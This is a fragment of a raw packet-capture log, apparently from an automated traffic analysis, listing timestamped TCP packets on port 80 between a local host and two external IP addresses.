Sep 29, 2024 00:53:25.095256090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095283985 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.095283985 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.095309019 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.095685959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095691919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095706940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095711946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095717907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095726967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095732927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095743895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095751047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095756054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095760107 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.095762014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095767975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095773935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095778942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095784903 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095789909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.095798016 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.095824957 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096281052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096287012 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096292973 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096343994 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096349001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096354961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096360922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096371889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096406937 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096755028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096761942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096767902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096787930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096795082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096798897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096801043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096808910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096816063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096822023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096838951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.096859932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.096925974 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097138882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097151995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097172022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097176075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097178936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097188950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097196102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097203016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097209930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097215891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097222090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097233057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097235918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097246885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097259998 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097284079 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097301960 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097304106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097309113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097368956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097379923 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097433090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097440004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097440004 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097459078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097467899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097475052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.097508907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.097542048 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.110860109 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110866070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110872030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110888958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110894918 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110901117 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110934019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.110939026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.110944033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.110958099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110963106 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.110985994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.110986948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.110986948 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.110991955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.110994101 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111021042 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111021042 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111041069 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111095905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111102104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111107111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111113071 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111140013 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111156940 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111157894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111162901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111167908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111177921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111185074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111190081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111227989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111227989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111227989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111363888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111370087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111377001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111418962 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111449003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111454964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111460924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111465931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111473083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111476898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111489058 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111510038 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111530066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111536026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111541986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111542940 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111547947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111572027 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111589909 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111598015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111603975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.111610889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111622095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111660004 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.111671925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111685991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111697912 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111702919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111707926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.111723900 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111723900 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.111753941 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115325928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115339994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115355968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115361929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115367889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115374088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115379095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115394115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115401030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115411997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115458965 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115499973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115513086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115519047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115524054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115530014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115535975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115539074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115542889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115549088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115561962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115566969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115571022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115571976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115577936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115592003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115600109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115602016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115606070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115619898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115624905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115628004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115632057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115639925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115644932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115645885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115652084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115662098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115698099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115811110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115844011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115850925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115928888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115933895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115940094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.115959883 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115973949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.115984917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116213083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116226912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116244078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116249084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116255045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116261005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116266966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116271973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116272926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116280079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116286039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116291046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116291046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116322994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116327047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116336107 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116347075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116354942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116358995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116364002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116369963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116369963 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116369963 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116369963 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116374969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116386890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116390944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116405964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116411924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116417885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116417885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116421938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116429090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116434097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116441011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116445065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116453886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116461039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116463900 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116463900 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116465092 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116470098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116487026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116492987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116493940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116499901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116506100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116519928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116520882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116524935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116533041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116538048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116539955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116544008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116550922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116556883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116561890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116565943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116574049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116579056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116585016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116590977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116596937 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116607904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116612911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116615057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116615057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116615057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116615057 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116621017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116626978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116632938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116640091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116642952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116643906 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116647005 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116688967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116693974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116700888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116710901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116718054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116723061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116728067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116740942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116740942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116740942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116748095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116755009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116765976 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116847038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116852045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116862059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116872072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116878033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116890907 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116892099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116892099 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116900921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116908073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116913080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116919041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116919994 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116929054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116935015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.116955042 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116972923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116972923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.116972923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117059946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117065907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117072105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117084026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117089987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117095947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117101908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117108107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117113113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117113113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117121935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117129087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117130041 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117131948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117135048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117141008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117155075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117161036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117182970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117197037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117197990 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117197990 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117202044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117212057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117218018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117223978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117230892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117244959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117250919 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117263079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117268085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117269039 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.117274046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117280006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117285013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117290020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.117292881 CEST	49708	80	192.168.2.9	103.130.147.211
